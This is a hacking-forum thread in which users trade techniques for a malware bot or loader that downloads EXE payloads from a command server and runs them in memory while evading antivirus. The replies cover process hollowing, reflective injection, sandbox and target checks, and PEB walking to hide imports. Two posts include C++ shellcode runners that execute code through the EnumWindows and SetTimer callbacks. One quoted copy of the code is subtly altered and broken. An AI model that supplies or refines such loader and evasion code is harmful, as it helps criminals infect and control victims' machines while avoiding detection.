

Forum:[Hack Forums](#)

Thread: [\[c++\] best ways to execute exe payloads in memory](#)

neonbytes - April 12, 2024, 9:05 am

hey guys

i'd like some advice on the best ways to execute exe payloads in memory from a bot/loader (something like smoke/amadey/etc) [in c++]

as far as i know the basic methods used are:

- runpe/hollowing
- loadpe

what is the preferred method or any alternatives?

what are the caveats regarding detections?

in summary i would be replicating similar techniques used in crypters, but instead of having the payload embedded, it would be downloaded from the CnC server...

thank you all

Hackers - April 12, 2024, 11:47 am

The best way is to convert to binary data, encrypt w/ a good algorithm, and cast to a header file. This is better than using a Windows resource object for example. Once this is done, you would have a runtime that detects its environment, to make sure it only runs when you want it to run, for your target environment/system. Once checks are complete & some time has past, you would take the binary and decrypt and hold in a pointer, and then "walk the PEB" to get the core base address. Once you do this simply focus on import table mappings, relocations, etc for the base image, IAT, and related features. Once your new PE is modified to run off of valid, current memory you can then inject it to the memory location.

Now... this took me weeks to figure out but if you use Bubble Pop in my current signature / threads then you'll have some PEB memory methods, and if you refer to my other codebases (ex: BTCH, for the binary header) then you can really learn a lot.

I am still learning C++ and am new to this stuff, but definitely recommend using a method that involves PEB base address / IAT remapping over anything that uses a tmp file & runs it (ex: my NCrypt crypter does that).

Good luck!

nucleo_type09 - April 12, 2024, 3:43 pm

i would suggest using shellcode injection, process injection or reflective DLL injection, those are good methods for memory payload executions

neonbytes - April 15, 2024, 2:51 pm

(Apr 12, 2024 11:47 AM)nodes Wrote: [\[CITE\]](#) The best way is to convert to binary data, encrypt w/ a good algorithm, and cast to a header file. This is better than using a Windows resource object for example. Once this is done, you would have a runtime that detects its environment, to make sure it only runs when you want it to run, for your target environment/system. Once checks are complete & some time has past, you would take the binary and decrypt and hold in a pointer, and then "walk the PEB" to get the core base address. Once you do this simply focus on import table mappings,

relocations, etc for the base image, IAT, and related features. Once your new PE is modified to run off of valid, current memory you can then inject it to the memory location.

Now... this took me weeks to figure out but if you use Bubble Pop in my current signature / threads then you'll have some PEB memory methods, and if you refer to my other codebases (ex: BTCH, for the binary header) then you can really learn a lot.

I am still learning C++ and am new to this stuff, but definitely recommend using a method that involves PEB base address / IAT remapping over anything that uses a tmp file & runs it (ex: my NCrypt crypter does that).

Good luck!
thanks for your reply

"The best way is to convert to binary data, encrypt w/ a good algorithm, and cast to a header file."
this would work for a normal crypt with the payload embedded, but i'm talking about a raw bot/loader that instead of running the files from disk, it downloads the payload to memory and injects/loads it

"This is better than using a Windows resource object for example."
why including a header with the payload bytes is better than a resource?

"Once this is done, you would have a runtime that detects its environment, to make sure it only runs when you want it to run, for your target environment/system."
you mean checking for present AVs and doing specific behavior?

anyway, i will take note of these tips for the crypter i'm also working on

(Apr 12, 2024 03:43 PM)nucleo_type09 Wrote: [\[CITE\]](#) i would suggest using shellcode injection, process injection or reflective DLL injection, those are good methods for memory payload executions

thank you

i need to try out reflective DLL injection

by "process injection" you mean a runpe/hollowing?

Hackers - June 21, 2024, 3:06 pm

(Jun 21, 2024 01:37 PM)blyat1337 Wrote: [\[CITE\]](#) Please do not listen to that, there is no need to "cast" anything to a header file.

Real executor save the file split in chunks in different places in the binary, shuffled, obfuscated and heavily junk coded, be it in another section or some resources. Hardcoding base64 shellcode in a header file does not make any sense in combat situations.

This guy clearly does not understand that a header file is merely data that gets saved into the "file" section, for example ".data" or ".rdata", it has no difference. It just gives you less control over what you put there and a lot more flaggable.

yeah, you're kind of ignoring the whole point

Resource files are not ideal compared to other options. If you go put the same exact binary/bytes/etc in a header file, or another data source, and then do it as a resource object instead, you will find that the resource use is detected more.

You're making it about the header but the main point is that the header was more successful than the resource object. Saving data in the file section in data/etc is better than the resource object, etc. That's all I'm saying - in my experience this is true.

secret_code - June 21, 2024, 5:52 pm

i don't know, im not into malware stuff, but maybe you should use thread execution hijacking if you want to execute something in memory, execution via thread execution hijacking will better evade detection since the execution is masked under a legitimate process(assuming it is) :, as i said, im not into this, but it seems reasonable to use TEH, maybe that's not even what you asked for, idk...

Hackers - June 21, 2024, 9:43 pm

(Jun 21, 2024 09:39 PM)blyat1337 Wrote: [\[CITE\]](#) Please do not talk about things you do not understand.

It is still detectable, since control is passed via NtContinue.

I do understand it and all I'm actually saying is that in my experience there were more issues with resources than there were with other methods. Feel free to respond to that. I'm not arguing or saying that a header is required, just that if you want to include the bytes in data, in a main source file, or header, I find that easier and better than when I did the same using resources.

Next thought?

Hackers - June 22, 2024, 12:22 am

(Jun 21, 2024 10:37 PM)blyat1337 Wrote: [\[CITE\]](#) This is because you are copying the traditional 2000 runPE crypter resource code, how about you use some thinking instead and try to understand why your shit is detected.

Legit software saves file in resources all the time, why it works for them and not for you?))

I'm not saying it doesn't work I am just saying I found it easier to use other methods

I didn't copy and paste anything lol

I'm not working on these types of things anymore anyways, but appreciate your high level of concern for me across multiple threads. My only goal is to help people learn more by exploring methods themselves and sharing what I learn as I go.

secret_code - June 22, 2024, 3:55 am

fight... fight ... fight... let's see who's the winner!

Sajuuk - June 30, 2024, 9:15 pm

Ask ChatGPT and see what answer it gives.

neonbytes - July 23, 2024, 9:08 am

the original question was about executing payloads in memory, downloaded from a server, so the discussion about where to embed the payload is not related really

i do use resources and not the header method, as far as i recall the header method gave me more issues on scantime, but can't say which is better

anyway i appreciate the tips in general

Klonopin - July 24, 2024, 10:48 am

There are so many techniques that can be used to execute memory here's one

EnumWindows can be used to execute shellcode by passing its address as a callback function

```
Code #include <windows.h>
```

```
#include <stdio.h>
```

```
int err(const char* errmsg) {
```

```

printf("Error: %s (%u)\n", errormsg, ::GetLastError());
return 1;

}

```

```

// shellcode
unsigned char op[] = "";

```

```

int main() {

```

```

    LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
    ::RtlMoveMemory(addr, op, sizeof(op));

```

```

    ::EnumWindows((WNDENUMPROC)addr, NULL);

```

```

}

```

You can also do the same with SetTimer and a lot of other winapi functions by just passing its address as a callback function.

```

Code #include <windows.h>
#include <stdio.h>

```

```

unsigned char op[] = "";

```

```

int main() {

```

```

    LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
    memcpy(address, &op[0], sizeof(op));

```

```

    UINT_PTR dummy = 0;
    MSG msg;

```

```

    ::SetTimer(NULL, dummy, NULL, (TIMERPROC)address);

```

```

    ::GetMessageW(&msg, NULL, 0, 0);
    ::DispatchMessageW(&msg);

```

```

    return 0;

```

```

}

```

Just make sure you peb walk to get the address of VirtualAlloc etc to avoid detection from static analysis. though these will be eaten up by runtime if you arent creative about it.

neonbytes - July 29, 2024, 12:37 pm

(Jul 24, 2024 10:48 AM)Klonopin Wrote: [\[CITE\]](#) There are so many techniques that can be used to execute memory here's one

EnumWindows can be used to execute shellcode by passing its address as a callback function

Code #include <windows.h>

#include <stdio.h>

```
int err(const char* errmsg) {  
  
    printf("Error: %s (%u)\n", errmsg, ::GetLastError());  
    return 1;  
  
}
```

// shellcode

unsigned char op[] = "";

```
int main() {
```

```
    LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT,  
PAGE_EXECUTE_READWRITE);  
    ::RtlMoveMemory(addr, op, sizeof(op));
```

```
    ::EnumWindows((WNDENUMPROC)addr, NULL);
```

```
}
```

You can also do the same with SetTimer and a lot of other winapi functions by just passing its address as a callback function.

Code #include <windows.h>

#include <stdio.h>

unsigned char op[] = "";

```
int main() {
```

```
    LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT,  
PAGE_EXECUTE_READWRITE);  
    memcpy(address, &op[0], sizeof(op));
```

```
    UINT_PTR dummy = 0;
```

```
    MSG msg;
```

```
::SetTimer(NULL, dummy, NULL, (TIMERPROC)address);
```

```
::SendMessageW(&msg, NULL, 0, 0);
```

```
::DispatchMessageW(&msg);
```

```
return 0;
```

```
}
```

Just make sure you peb walk to get the address of VirtualAlloc etc to avoid detection from static analysis. though these will be eaten up by runtime if you arent creative about it.

thank you

i didn't know about the SetTimer method, will take note

"Just make sure you peb walk to get the address of VirtualAlloc etc to avoid detection from static analysis" will this have the same effect as using LoadLibrary/GetProcAddress? ie. not showing the imported functions?

Klonopin - July 29, 2024, 1:32 pm

(Jul 29, 2024 12:37 PM)neonbytes Wrote: [\[CITE\]](#) thank you

i didn't know about the SetTimer method, will take note

"Just make sure you peb walk to get the address of VirtualAlloc etc to avoid detection from static analysis" will this have the same effect as using LoadLibrary/GetProcAddress? ie. not showing the imported functions?

PEB walking can add an extra layer of obfuscation, but yes.